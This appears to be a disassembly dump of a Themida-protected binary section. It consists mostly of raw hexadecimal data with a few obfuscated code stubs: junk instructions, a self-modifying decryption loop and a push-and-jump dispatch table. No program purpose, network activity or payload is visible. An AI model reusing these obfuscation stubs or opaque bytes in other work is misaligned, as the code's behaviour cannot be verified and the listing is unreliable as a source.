0FE12F107h, 5D79546Ah, 510AF0C9h dd 0B0C65A76h, 0E24B8D6h, 70861A30h, 34E77B93h, 0DF700784h dd 99DE13A5h, 6C886301h, 0B2879934h, 28607A56h, 42A0807Bh dd 0E364794h, 976CE94Bh, 349442A0h, 18B90F58h, 0D0398A7Ch dd 0A1CE3BEh, 30B9605Ch, 0E2000000h, 42A08577h, 0D2AE4C14h dd 0C83A6B8h, 1F78946Fh, 8D555DCFh, 83FF7308h, 29169371h dd 3513A556h, 902C0DC5h, 0F54E6C2Eh, 429361h, 77220000h dd 1442A084h, 7569D94Bh, 627F3114h, 42771EE5h, 0FA53BC14h dd 0E4CAC5E8h, 8281794h, 0CD3613A5h, 0D99E1B7Dh, 7513AAF6h dd 2A0FF05h, 0A3FC20F8h, 12243817h, 997816F0h, 245C7652h dd 491E3089h, 10607A56h, 1D729972h, 1F77FA8Eh, 3FDA126Bh dd 3EBA672Dh, 3E6BBDF4h, 0B8948BBBh, 0A7EB0A9Eh, 413AB707h dd 0D94421Bh, 0C19E6CA4h, 99F615A9h, 0A248C515h, 3093A63Bh dd 449DB994h, 7B9C5F0Ch, 1A2B93A6h, 42CD326Ah, 0A90A5877h dd 33000000h, 0CCB33092h, 8A1442A0h, 0A3EC0F21h, 0E759BB0Bh dd 0CB14EF4Dh, 0F87FFC49h, 56144236h, 898294EDh, 13A54EA9h dd 900252BBh, 0C09F65B2h, 79D974ACh, 0FC4C805Ah, 0AA59F87Fh dd 0DBED5613h, 20FD9BFDh, 72967701h, 146DE089h, 1B2F0EDCh dd 0DDEF48E3h, 3ACEE6C3h, 9A284724h, 0B5BDE3A9h, 53680F8Ch dd 7DE613AAh, 0B77CB24h, 726A14D1h, 2DFAC32h, 91690000h dd 0ECC5DB6Fh, 462238CCh, 0A382982Ch, 0AE5FB8Fh, 7B815AEEh dd 57EB07E2h, 0B5496741h, 17ABC19Fh, 780C2401h, 0E39815C5h dd 6F13A521h, 0AA9E9B2Ah, 2D000002h, 28607A56h, 0C0B73496h dd 8E1442A0h, 611A1325h, 0D31442A0h, 1442A0A8h, 93AD8927h dd 97B18D5Bh, 596BC45Fh, 42A09C60h, 0A0631C14h, 52F01442h dd 92245C76h, 42A06E15h, 2A83EC14h, 6FA7C39Eh, 36C9C2D4h dd 821442A0h, 0D442A0F9h, 8077F456h, 4ED442A0h, 0DFB0D3E5h dd 7F1D7FCFh, 817A8CA0h, 0D3A58CACh, 32C946A6h, 0A0D3A58Dh dd 14A6DE37h, 8D4E35B2h, 0A30CD3A5h, 8D216E91h, 92EAC03Dh dd 0FF68D441h, 3277E1ABh, 0EA70B0A2h, 219h, 0A135572Fh dd 0FE92B28Bh, 5EF20CE8h, 0C1556948h, 20B4D0ABh, 0CDA8A147h dd 2D071DB1h, 87657B0Fh, 0EAC7DD71h, 0DB8B3ED2h, 0A521995Eh dd 61F03513h, 11617956h, 0F082B99Fh, 0DE95C1BCh, 0FAA808C4h dd 223A1716h, 0E4F64FEAh, 6F48471Eh, 42520DF2h, 760C914h dd 2D713AB7h, 0D43D13A5h, 344E2A40h, 94AE8AA0h, 0ADCDA644h dd 754EDA75h, 70821D55h, 0F2BCD3AAh, 0AE6225A2h, 9430144Dh dd 0CB669EB8h, 6604DE72h, 9A356D8Dh, 50EC8F88h, 711E1B8Dh dd 0BB70ED3Dh, 771C6A2Fh, 4320BE0Eh, 0A481972Bh, 24C2548Ch dd 0C8A22E48h, 0CC9F98AAh, 8303F5CFh, 0BEE4A311h, 3A8A4E0Eh dd 0F5E4C6BDh, 192B9403h, 0C51599F6h, 129AFF48h, 0AAFA6304h dd 6434CB48h, 39A20BDCh, 0CEAB4927h, 2F0C22B6h, 4B29C717h dd 5062FD35h, 6432DD8Ah, 137C0BDCh, 15CE4B9Bh, 0D90C3B1Bh dd 0A5822070h, 6E3F98Dh, 552C9EEEh, 0AFE9A6FDh, 865D2335h dd 0D855A509h, 3423F86Bh, 0A03E8EF7h, 0D671A9C5h, 0AE51FEC4h dd 1D3B2F06h, 0DB24580Ch, 0FCB0EE6Bh, 0Ch, 0BD847725h dd 7571442h, 0E6000000h, 42BA8477h, 424D5414h, 0A003F875h dd 53D01442h, 1442A0ACh, 770C12Ah, 2EE15EAEh, 0E413A5DFh dd 236C437Bh, 0C19D3B8Bh, 0C2D46FA7h, 0CB9167E4h, 0D63F1441h dd 32311482h, 0CB519162h, 0A1h, 19ADCFA7h, 760A2A03h, 0D66A8460h dd 39CDE1C0h, 982C4823h, 452039BFh, 0A57F9529h, 0FFDDF387h dd 623F55E9h, 5303B64Ah, 0A52321D6h, 0D968AD13h, 16F492h dd 0F81B2DC8h, 4AC71797h, 13A5DF81h, 0D5ACE44Dh, 27A4F4BAh dd 1441D625h, 0D8F4CF6Bh, 0DBF7D2A0h, 23AF08A3h, 5AF52D47h dd 3BF3AD01h, 86C66232h, 3800h, 16381000h, 73936C82h, 0D3EDC9DFh dd 364A293Fh, 95B18CA2h, 89C22801h, 0E8FE92AEh, 465CF00Eh dd 0A8BE5268h, 6C1FB3CBh, 23B83FBCh, 0D11613A5h, 39E42h dd 8D2D0000h, 5C7E563Eh, 61795624h, 677D5B29h, 6987612Fh dd 6C886331h, 6F8B6634h, 768A6937h, 7A94703Eh, 7B9B7442h dd 8957EE43h, 4C781E7h, 81000000h, 4EFh, 243C8700h, 242C895Ch dd 8904EC83h, 5C682414h, 8900001Ah, 5550240Ch, 0B12B1BBDh dd 0DDF74D77h, 8108E5C1h, 0A357B4E5h, 42F58166h, 814B4D29h dd 1A1040C5h, 5DE889FAh, 5458C289h, 81240C8Bh, 4C4h, 0BF575200h dd 0AE30762h, 4247C01h, 8418F5Fh, 62086981h, 0FF0AE307h dd 81592434h, 4C4h, 24148B00h, 81E78957h, 4C7h, 4C78100h dd 87000000h, 0E95C243Ch, 0FFFCF957h, 0E6481895h, 17BCA309h dd 0BB6052F7h db 52h, 3Ch ; --------------------------------------------------------------------------- loc_5BA93E: ; CODE XREF: Themida_:005BA3E0j mov eax, 7E78417h add eax, ebp loc_5BA945: ; CODE XREF: Themida_:loc_5BA3DBj mov ecx, eax call near ptr loc_5BA95C+2 push esi sbb al, 95h dec edi add ebp, [eax] mov esp, 0EF6F762Ah mov edi, 5A3E041h loc_5BA95C: ; CODE XREF: Themida_:005BA947p add eax, 8B665937h rep add ecx, 739Eh cld mov edx, 6536B7CDh sub edx, 65369B08h jnb $+6 loc_5BA97A: ; CODE XREF: Themida_:005BA9D2j push dword ptr [ecx] adc esi, 7550B638h pop eax js $+6 xor eax, 1C311C84h movzx edi, dx sub eax, 6FC66F2Ah push ecx jmp loc_5BA9AF ; --------------------------------------------------------------------------- dw 14E0h dd 0C44F0063h, 38E924FFh, 0B2E0EAF8h db 1Dh, 77h, 6Bh ; --------------------------------------------------------------------------- loc_5BA9AF: ; CODE XREF: Themida_:005BA999j pop esi add eax, 5417F98Eh movsx ebx, cx mov [ecx], eax sub ecx, 4 jmp loc_5BA9CC ; --------------------------------------------------------------------------- db 12h dd 0A17F9C7h, 0C9583EBh ; --------------------------------------------------------------------------- loc_5BA9CC: ; CODE XREF: Themida_:005BA9BEj sub edx, 1 jnz loc_5BA97A mov ebx, eax jmp loc_5BAB28 ; --------------------------------------------------------------------------- db 68h dd 0E7048D36h, 93DA95ECh, 0DF067158h, 0FDBEB6CFh, 36365D54h dd 0BCECA4h, 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h dd 325277CBh, 9CACACh, 0FC6C46BFh, 597390ADh, 75D6A336h dd 0BD9C72E2h, 93DD0090h, 0A79B8CE6h, 0DD64A592h, 9792A7ABh dd 0FC7A918Fh, 96B9F95Ch, 0B59BB1E4h, 0B69F47E4h, 94B6E592h dd 0B59EBDF6h, 0EC96B3EBh, 999C93D0h, 0FD7B97BFh, 9389F55Ch dd 0EDAFF4h, 0A6E3B2CDh, 0B5D4E594h, 445700C3h, 0B0F3622Dh dd 38AE29h, 600000h, 640000h, 2 dup(0) dd 40000h, 940000h, 50000h, 10000h, 0A280000h, 20000h dd 65530000h, 63697672h, 61502065h, 32206B63h, 20h dup(0) ; --------------------------------------------------------------------------- loc_5BAB28: ; CODE XREF: Themida_:005BA9DAj jmp loc_5BCA7E ; --------------------------------------------------------------------------- push 7E78869h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78994h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78A38h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78B2Ch jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78BE9h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78C98h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78D6Dh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E78E11h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E791E5h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79266h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79391h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E796CBh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79A23h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79D9Dh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79F12h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79F8Ah jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E79FD5h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7A039h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7A1FAh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7A2D9h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7E7A4BEh jmp loc_58A287 ; --------------------------------------------------------------------------- retf 0D0F2h ; --------------------------------------------------------------------------- dw 263Ch dd 83992D4Dh, 0E3F98DA7h, 465CF004h, 0E2BB4F6Bh, 4C68431Ch dd 0AAC8A2B8h, 0C220016h, 6D856278h, 0F97626D9h, 13A52702h dd 56FC8BD0h, 5B296179h, 0B3D2667Eh, 582D2DCh, 13A6B38Bh dd 7B2860C9h, 13A6B480h, 4E0E3647h, 0D87809B1h, 4626h dd 424D4F00h, 0E99F1C6Ch, 0A713A6A9h, 0F8CEE3Eh, 13A6AA68h dd 0A56B7DE6h, 2AB9A113h, 0A77ABFF4h, 0C9E39C95h, 553413A6h dd 5F3B0941h, 0A92C0D45h, 0B5DB5FDh, 3C74946Dh, 0B2F28FA1h dd 77A8F50Ah, 0AFE2D8h, 560B0000h, 5B296179h, 5E2C6480h dd 63316981h, 0E5DA6E86h, 1442A459h, 68825EFCh, 6F836230h dd 31439C37h, 8E223A17h, 73509B78h, 2F88235Bh, 3F6F20F7h dd 0B0F072EFh, 55BE13A6h, 0C1EDA2C1h, 50FBF471h, 4EB71440h dd 698560FEh, 0C8E4BFD5h, 32C85674h, 0F177B762h, 1CE7h dd 31C5E7BFh, 8E22421Bh, 0EE829C78h, 51E5F9D8h, 0B044603Bh dd 5D3811D7h, 0BD97AD41h, 17F50B9Fh, 7A576D01h, 6B1BCE62h dd 0A52809EEh, 0F180C513h, 502C7B56h, 0A63FE36h, 6B836076h dd 1E9BFDD7h, 1442A059h, 8FC7DBBAh, 0EA3AA3F4h, 42A0966Dh dd 0C9DB4414h, 6C424DF4h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h dd 12F113A6h, 1BF8C6FEh, 0C58CCB03h, 0A65DDA81h, 3413A6AAh dd 91A72CBh, 7DE215Dh, 0DDF7D878h, 20000000h, 29617956h dd 5D5D805Bh, 0DCA320ECh, 7A1442C7h, 0D678B111h, 9C4981DAh dd 144284A0h, 0E93C15B3h, 21BCF40Ch, 0BF9CB6C8h, 49819574h dd 0ABC155AEh, 8BA983CEh, 275FB853h, 0C1B63395h, 8D144285h dd 0A0EF1224h, 89E202DBh, 91BABC39h, 0A70913A6h, 0A69A552Ah dd 0CDEDC613h, 0E905E07Ch, 0ABBD16B1h, 0E5305CCCh, 42DA77E1h dd 0A65C3EC5h, 0DA339C13h, 0C1CEED81h, 80209DEDh, 0D21440BAh dd 3AB71969h, 1B894345h, 43EE9512h, 36C1B89h, 593749B2h dd 30C4E0BBh, 0CF233F1Ah, 6231E805h, 0BC56DC1Ch, 0EA00001Bh dd 465CF012h, 0A3B94D6Dh, 319ADC7h, 667C1024h, 2DB6F8Bh dd 6C8863FCh, 0CAE8C2D8h, 2C422036h, 8DA58298h, 199646F9h dd 13A52962h, 561CABF0h, 0B5CB5F7Bh, 5B2CC0D8h, 29617956h dd 0F26F7E5Bh, 1442A00Dh, 730760C9h, 0D82D44Ch, 6D451A1h dd 0D413A68Ch, 5857626Bh, 0E2AF28E2h, 4FB101ADh, 3B8B70EDh dd 300CD030h, 4A5CC516h, 0D43A3351h, 2058C1D7h, 18684649h dd 0F0063C9Bh, 4CEA4ADFh, 17EC576Fh, 0C3C07879h, 13B1015Ah dd 2C0A1C38h, 599B18Eh, 0A6FA12EFh, 9DC2F238h, 1837BDFDh dd 8E00001Bh, 0EA0094B6h, 475DF111h, 0A7BD516Bh, 0A20B4C8h dd 0A67F132Fh, 102C0740h, 6E8C667Ch, 0D0E6C4DAh, 3149263Ch dd 0BD3AEA9Dh, 13A52AC6h, 56C04F94h, 97296179h, 0CA021EF9h dd 95FA1D2Fh, 0C967C919h, 0C9C2D4ECh, 13A6BFE3h, 4D740871h dd 4F2ECCD9h, 5668033Bh, 2525C33h, 4293D785h, 0A8258514h dd 1B8AEBD3h, 0B08A167Fh, 66BF5A92h, 0C2FB6D5Dh, 0BF44C1CCh dd 1B1B8A7Dh, 4B9C52B2h, 0CD352E40h, 90DC3B7Eh, 0C1F919F2h dd 9EF11426h, 4822C010h, 0BD3A182Ah, 0C4DF7F5Fh, 1274C42Dh dd 1F40EE95h, 2CFC6CCBh, 0F2E11DDFh, 0EAB0C21Bh, 3987E658h dd 25F6A4Ch, 0ECC2CDF0h, 0BE9C3A9Ch, 257E9A75h, 474052EDh dd 0CCFB2768h, 0DB3D8DF6h, 124A5E3Dh, 2C4A1777h, 0F2421071h dd 0CAE9C6E0h, 0BA43A9B6h, 53E740E6h, 0F448603Dh, 8ABC7CF4h dd 248F1555h, 8200001Ah, 0DEF488AAh, 3B51E505h, 9BB1455Fh dd 0FE14A8BCh, 9A730723h, 420FB54h, 62805A70h, 0C4DAB8CEh dd 253D1A30h, 0B12EDE91h, 13A52BCAh, 56B44388h, 36542E79h dd 0D20A63FEh, 0CA1A94FBh, 0D5EDCA68h, 81F0CAC3h, 0F55E13A6h dd 0C8D93A61h, 21334F2Ah, 0CD1D91FEh, 0D9EFCD6Bh, 0FBF406A1h dd 1442AD2Dh, 65855EFCh, 20B7453h, 225556F7h, 0B7D887h dd 33A5FC83h, 98F15AB8h, 0A4ADCB48h, 0D23BBFD7h, 1981082h dd 0DC5881B1h, 7604D253h, 13257E3Fh, 411DBB4Dh, 9DF21527h dd 6744C111h, 0F3A7F37Ah, 0BF9C3A8Ah, 20FD13A7h, 973F9C01h dd 0B912B5E4h, 0C3B28D65h, 0A90D0B5h, 1967h, 0B145673Fh dd 0EA2C29Bh, 6E021CF8h, 0D1657958h, 30C4E0BBh, 0DDB89157h dd 3D172DC1h, 97758B1Fh, 0FAD7ED81h, 0EB9B4EE2h, 0A52B896Eh dd 71004513h, 29617956h, 21713D52h, 0A6833AA4h, 9FEF5813h dd 843BC03Dh, 0FB9713A6h, 97A90222h, 0D8C14E75h, 8402F976h dd 67D013A6h, 515D3255h, 0A8D68401h, 1B841442h, 28B02212h dd 8FE5810Ah, 651A97E7h, 0F11B8AF5h, 687D7688h, 0F6E6C841h dd 48C51599h, 1EADAB2Ah, 8DFF4FB8h, 69682055h, 6127394Ah dd 59A9058Ah, 49B0FFDCh, 0D2228B07h, 0AB3F5734h, 4CA0B895h dd 552A65B0h, 0B8FB81C1h, 0EE000018h, 4A60F416h, 0A7BD5171h dd 71DB1CBh, 6A801428h, 6DF738Fh, 708C67E0h, 0CEECC6DCh dd 3046243Ah, 91A9869Ch, 1D9A4AFDh, 13A52C66h, 5620AFF4h dd 52296179h, 0A421713Dh, 13A6ABF6h, 122A07A5h, 68B82100h dd 0C4D6ECCAh, 0B50B7BA2h, 9B60DDDAh, 0FC13A6ACh, 4AB30422h dd 2503A1F1h, 0A21FFD0Fh, 144280F4h, 132706A2h, 14A6B1BAh dd 0F688426Eh, 0EF03E299h, 0ABC94696h, 39B03790h, 6E280D0h dd 0A522B4ECh, 0BF3792DEh, 2EBA137Ch, 61273951h, 9C76058Ah dd 0B7EFD077h, 35C4FEEh, 87D730CBh, 0D3F2AD0Ah, 0DB58BAB8h dd 0A71B0524h, 2ED552B2h, 0ACA71B05h, 0F9D8EA43h, 0C5A24090h dd 0FE90B9A6h, 156EFB72h, 768E6B81h, 0A4AAE422h, 0DB61A1BEh dd 17E3h, 35C9EBC3h, 9226461Fh, 0F286A07Ch, 55E9FDDCh dd 0B448643Fh, 613C15DBh, 0C19BB145h, 1BF90FA3h, 7E5B7105h dd 6F1FD266h, 0A52D0DF2h, 0F584C913h, 29617956h, 0FD7A3D52h dd 1442A006h, 52A3BD99h, 0DE4090E9h, 0D9566140h, 1442A022h dd 0B6EE47B0h, 9410091Bh, 0DE13A525h, 0AA872575h, 0B224FE92h dd 8AAB3C4Eh, 0D5CEE078h, 13A5DCBEh, 811599F8h, 142C09A7h dd 0F30BE802h, 5F4F405Fh, 5912920Fh, 0F7601442h, 103009A7h dd 768D667Ch, 8DA202F9h, 0E67D01Bh, 132B08D6h, 2EC951BFh dd 82084862h, 173Fh, 0D96D8F67h, 36CAEAC3h, 962A4420h dd 0F98DA180h, 58EC08E3h, 5E0797Fh, 653F55E9h, 0BF9DB347h dd 22FF15A9h, 13C3760Ah, 0A52EE196h, 99286D13h, 1C6C424Dh dd 20B7D3AAh, 1E30CAF0h, 816CDE40h, 33185210h, 39CDD6B5h dd 95EE027Ch, 0EA0A8A83h, 0EF5813A5h, 0C24019Fh, 76385978h dd 92E5B426h, 14338846h, 0C4A72402h, 8A13AABEh, 0F557E921h dd 0AABE8378h, 96E64F13h, 0AABE6219h, 7587F013h, 0AABE827Ch dd 1F391513h, 263A19E7h, 0DA8A0DEEh, 792D3E96h, 73FFBA45h dd 731BD8h, 4D440000h, 9D1A6A44h, 1442A0EAh, 0E49B1878h dd 721442A0h, 0CB78B009h, 1442A030h, 366E8663h, 39718D68h dd 84FBAB82h, 0DB338CAAh, 0DF311789h, 6242B258h, 0C8F3B350h dd 0FB334F2Ah, 8C734E60h, 49E05BAEh, 2Dh, 0A0857772h, 88071442h dd 5E38D626h, 5B6D0840h, 8EA2007Dh, 14B013A6h, 0D7AC2936h dd 8313A68Fh, 0D468C11Ah, 687E5CFAh, 0D3E501DCh, 15F492FEh dd 1C2EC901h, 0C81896F9h, 0A682A54Bh, 92CA3313h, 3BCFE7C4h dd 0CCE8C361h, 0CDE7F994h, 0EA88D8F0h, 1FBAF210h, 9E79470Dh dd 0B9943282h, 0B8CA659Dh, 55118EF2h, 61F50DEAh, 1E566E4Bh dd 0D6F4847h, 0A682EB90h, 93FE6713h, 13A682ECh, 0F68D0A6Ah dd 6413A682h dd 0F949A2FBh, 429BAA7Ch, 0D9087814h, 6687E2F4h, 845EF24Bh dd 67F307E6h, 0A13C7488h, 8098758Fh, 0ADC39B48h, 43C063BCh dd 0C6E65803h, 743E8B31h, 4B284254h, 0AC899F33h, 2CCA5C94h dd 0D27394Dh, 2BE21A2Eh, 0CB691054h, 0CCC4CDF0h, 0CC071E57h dd 6A476173h, 85640252h, 273D5F71h, 68FA324Ah, 9BD3EFCAh dd 0C4CBEE00h, 0C31D9AEAh, 919459F0h, 0A70018F5h, 820FD13h dd 0A2802D0h, 0B5F16ED2h, 41D5EDCAh, 0E6364E2Bh, 0CD700784h dd 75DE9BA1h, 0C9C69D63h, 661895E5h, 0EC9C45FFh, 0BC953383h dd 3DC9649Ch, 740F4761h, 4D2A4062h, 4A3B212Eh, 24F25270h dd 5FAF086Bh, 82B3DBEDh, 0B9548CA6h, 7DE9CB59h, 7F8A56Bh dd 7D93854Ch, 0F6D34AFAh, 80B8CCABh, 9E3C8CE5h, 7597A9C1h dd 336B815Fh, 366E8A65h, 8772FF8h, 26C4142Ah, 422FC4Bh dd 9D7799ABh, 0D30B21FFh, 0D9112705h, 7D59E53Eh, 7E902B63h dd 38708664h, 3F778B6Ah, 447C9471h, 0BE7C9776h, 1186AF48h dd 0B1538BE4h, 6E38A3DDh, 3FBCDE4Ch, 0AC294B07h, 5EA785F8h dd 7B0F6882h, 0A9602FA1h, 0F9418BB7h, 0FA5DCF99h, 0DDEF45FBh dd 97CFE5C3h, 8FDFCFC0h, 61947C12h, 5991FAB4h, 0A49BCBA2h dd 61CB0C6h, 47D91129h, 0A0B2CEA9h, 0FC9AA986h, 33CE0620h dd 0E99833C8h, 0DD369FBBh, 0E69E67A5h, 32829A77h, 68A0B694h dd 11DE6DCDh, 0E13C7FB1h, 29D6ADCFh, 0AE30B05Fh, 44h, 17F492D7h dd 7425C7FFh, 0F2B2B7ACh, 9BB5C720h, 0B957A7BDh, 0EE89C1DFh dd 503F16DCh, 0B7910E5Eh, 0BD13A606h, 0EB09584Dh, 3790D5BAh dd 32D5A3h, 0E95B0000h, 0E9D36408h, 0C23F8F07h, 13A6B03Dh dd 491E3099h, 0EE6B7856h, 1442A009h, 0CB035CC5h, 0C3139BF4h dd 0CDE7C361h, 0EFE8FA95h, 13A6B99Dh, 8556EA53h, 107FC145h dd 3D14E9Eh, 0D113A68Ch, 73F5935h, 0FF0A136Ch, 0E7159B78h dd 61B1FD92h, 31E286E4h, 58E355EFh, 80D11722h, 0A50EEDFFh dd 0BEDEB755h, 800FE6ACh, 4261DE2Eh, 1017DDD8h, 0DCB957A7h dd 0FDD674C4h, 0AA0AA5DDh, 1D4810FBh, 799BAD55h, 0DF672D9Fh dd 82B64DCAh, 0BB24181Dh, 272F715Bh, 95A7BD9Bh, 7A539E7Bh dd 2E87225Ah, 9DDD40DAh, 0A72D6D65h, 136Bh, 0AD41633Bh dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h, 0D9B4AD53h dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A531956Ah dd 6DFC4113h, 0FE18F492h, 6B7D9572h, 42A18D72h, 0AFD84A14h dd 0E202585Dh, 127DA0B2h, 77DA4C9Ch, 519F859h, 8DD232CDh dd 411F316Dh, 0A67D86C4h, 9BEB5413h, 0FBD61FFDh, 800CA7DFh dd 0BA558DA1h, 0D9B7CD61h, 0E0BD8BC3h, 0EAB074C8h, 0D1116A18h dd 12EA4Bh, 0C2E4BC00h, 1F3F182Eh, 7F99758Bh, 0E2F6D5EBh dd 415D384Eh, 352ED4ADh, 94AA3E5Ah, 0F2089CBAh, 546AFE14h dd 18CB5F77h, 3214EB68h, 7DC213A5h, 75424DEEh, 42A003F8h dd 0D66CF14h, 0B60240BDh, 67D013A6h, 0B553B517h, 0EC87BFD9h dd 0A6B7FA81h, 0DDEF5813h, 56D3EAC3h, 13A6B7A1h, 9BB5912Dh dd 166FC863h, 0BFCC54C6h, 0AC3DD26Dh, 8962789Ah, 86633169h dd 0A6801E6Eh, 129E1781h, 95EEB2CAh, 0EAB0C25Dh, 35285C33h dd 4EEC3C5Ch, 26485A70h, 474E9AFFh, 59325E67h, 0FD6F0139h dd 9FE57EF2h, 0DD6946h, 23DDD6E8h, 0B613A61Eh, 8D66D98Dh dd 0EAC3D96Dh, 0D4BB92CAh, 3CB9CCA7h, 13A61E47h, 1951AA13h dd 58D5257Eh, 14419B7Ch, 0DB4D9D06h, 7CDB762Ch, 0CAA632A0h dd 0CBDD78B0h, 0BF198BEDh, 0CDACEA98h, 77546E80h, 0D8B5CB5Fh dd 0A795B9h, 0D0E265E9h, 523C8D0Bh, 6CA4FD56h, 64B4FA95h dd 71856402h, 0E4CD665Fh, 28911C69h, 455D3AD8h, 0A6BE9BB1h dd 0B6F8976Eh, 0F0CBE966h, 30990412h, 656C52DCh, 0BD438352h dd 11BFh, 59ED0FE7h, 0B64A6A43h, 16AAC4A0h, 790D2100h dd 0D86C8863h, 8560F9FFh, 0E5BFD569h, 3F1D33C7h, 0A27F9529h dd 9343F68Ah, 0A5336116h, 19A8ED13h, 42A08977h, 213E1C14h dd 0F1A40D69h, 4CE03993h, 0EC931072h, 6A1442BFh, 25B5A101h dd 5B7F7BF0h, 45692649h, 92E778F5h, 42AB13A5h, 5E7854F2h dd 0F492F9CAh, 26C80016h, 43C66A81h, 0EA76CF98h, 1EB9F111h dd 7CE310Ch, 9607E7DFh, 30000001h, 246B434Dh, 0A06B1592h dd 0C1A81442h, 0D339927Ah, 3092F795h, 42A0CCB3h, 0F218A14h dd 0FCD5A6ECh, 0B009A4DCh, 4D0AC169h, 0A4166648h, 933740F6h dd 1AEF0181h, 0FD19F492h, 81182AC5h, 0E59A959Ah, 7E1CE55Fh dd 804E86A4h, 0B65189A5h, 53AC4B5Dh, 0D5000000h, 2269454Dh dd 0C91AF492h, 0FF9AD2EEh, 83D36EA6h, 42A07106h, 6274DD14h dd 0A0750784h, 72DB1442h, 0BC43C022h, 1A1442A0h, 304825B1h dd 764B5DF8h, 30923992h, 42A0CCB3h, 0F218A14h, 0B8FF19F5h dd 329E5B70h, 24000000h, 0A0BE45C2h, 0B31C1442h, 454DCCA1h dd 0F4922269h, 2EC90115h, 3FC13E1Ch, 541442A0h, 3992266Dh dd 532D7A56h, 0A03AC13Eh, 2F981442h, 70367DD6h, 17F4925Bh dd 0A1D9EDCCh, 0C09BAD06h, 0E55FE56Fh, 5DA8h, 484DD100h dd 15921F66h, 1442A06Bh, 5A6E4DE9h, 0E72E8722h, 51AF492h dd 42A0F388h, 9DF65F14h, 5654AD8Bh, 92165D7Dh, 0AA51CE30h dd 281442A0h, 0A0AF54BFh, 0C22B1442h, 0F492B0B0h, 31C3FB1Bh dd 42A0CFB4h, 0C9228B14h, 609EE2B7h, 24000000h, 8B265AB2h dd 0C15C94B0h, 0D7651561h, 484DF0C5h, 30921F66h, 0FB02B2BEh dd 32CD051Fh, 46BCD5D2h, 7B164E6Ch, 65171022h, 0AA144294h dd 94A84FCCh, 8A261442h, 0DF3891B1h, 0CE309298h, 0D065C5Ch dd 0E954613Ah, 14427D12h, 0F0CB57C0h, 56EDC2D4h, 92165D7Dh dd 0A0CCB330h, 218A1442h, 9EFA0F0Fh, 0FFFFFE4Eh, 6C424D2Dh dd 8AA07E1Ch, 0F90B1FFEh, 8E47B91Bh, 898A15E3h, 3089A781h dd 0E5A1251Eh, 8AF313A5h, 0A4C29C3Ah, 0E1BFD16Ch, 0DA576643h dd 13AAE625h, 9FEF48B1h, 0D40C2401h, 0BACEAD39h, 0B3D5E782h dd 455F3BD9h, 2D811033h, 0E69B60DDh, 0CE3713AAh, 0E610E996h dd 0AE8713AAh, 0AA88568Eh, 0CEA55C94h, 3082DA96h, 16765CCEh dd 0C78B7927h, 0AAE0A75Ch, 3ECA3313h, 97344664h, 0DD50AFEFh dd 2E85D873h, 0AE000000h, 42A08477h, 1A320F14h, 0A0EF9186h dd 6E211442h, 0AD73F040h, 6B13A6A6h, 32946E02h, 0A6A6CEB5h dd 97238C13h, 0BD8FA1BBh, 0A6h, 39424D4Ch, 99E9425Eh, 0F6D41DFBh dd 977587E0h, 0A681201Ah, 75C52E13h, 4FE3F9D7h, 36125B39h dd 0B48BC31Ch, 683D3DBh, 14410496h, 1F461FBDh, 7B3231FBh dd 4E86DF13h, 59C2A1B3h, 778D6B09h, 0B19709E3h, 0F067D810h dd 0DEB0517h, 0A7E8BFF7h, 73AB707h, 531C6E54h, 1FFC9AEAh dd 27997307h, 33B64D6Fh, 738D9F7Fh, 0E2A7E96h, 0DB5A4A21h dd 0E85159Bh, 49210000h, 0A47D9327h, 0FEDAF084h, 5B3A50E4h dd 0C29DB347h, 0B33912A6h, 0FA3BF9Ah, 6D011FF9h, 0CF637957h dd 30C4DCB9h, 0AB50CD7Dh, 2713A536h, 795653E2h, 35972961h dd 42A0C3B8h, 14268F14h, 0CD051DFAh, 9F9EC68Fh, 3F16AAC2h dd 0E05C1DC0h, 4D15h, 424D3E00h, 25216265h, 55E4414h, 57DA38B5h dd 3FA813A6h, 115C3907h, 42E41C34h, 97F76E7Ah, 0D32C8595h dd 344C293Fh, 446A25FCh, 40C577F4h, 1A8C1442h, 0F2CE27CDh dd 0F0F978D8h, 0F46989E9h, 0CEFEE674h, 6341DDBCh, 217A154Dh dd 2092BC8Dh, 9E48AE0Fh, 0BCBB27A8h, 9083A909h dd 0D0A9C3D5h, 2D061CB0h, 57B0006h, 17707166h, 364A29C7h dd 0C5B15E24h, 9014424Dh, 0E8FA18F2h, 66E3F0CEh, 14424D91h dd 0BA0B2702h, 8A64F851h, 0E5C112ECh, 9FF893CBh, 97BACC67h dd 0E966B6F8h, 13A5C87Bh, 0B44BC82Ah, 2213AAD2h, 5FC8A7B9h dd 7B95710Fh, 6A9516E7h, 2CE7DFE5h, 5D95B58Eh, 0A0A94ECBh dd 0BC2514C2h, 23B25163h, 0DB000001h, 246B434Dh, 0A06B1592h dd 0C1A81442h, 8720927Ah, 4005C0C2h, 6B9D2585h, 0EC8A2CE0h dd 0D3A3FCDAh, 454DF795h, 0A00EF572h, 63CC1442h, 1C1C30Ah dd 0A05D229Fh, 90F91442h, 484DA97Eh, 0E9D91F66h, 442A5D77h dd 1F31E7A9h, 0E59A954Ah, 2C5BE55Fh, 7B000000h, 0B657AB09h dd 0B3FE8C99h, 2593A8DCh, 0A3788AE3h, 2269454Dh, 0A06B1592h dd 80E91442h, 56399239h, 7019607Ah, 169E5Bh, 4D2D0000h 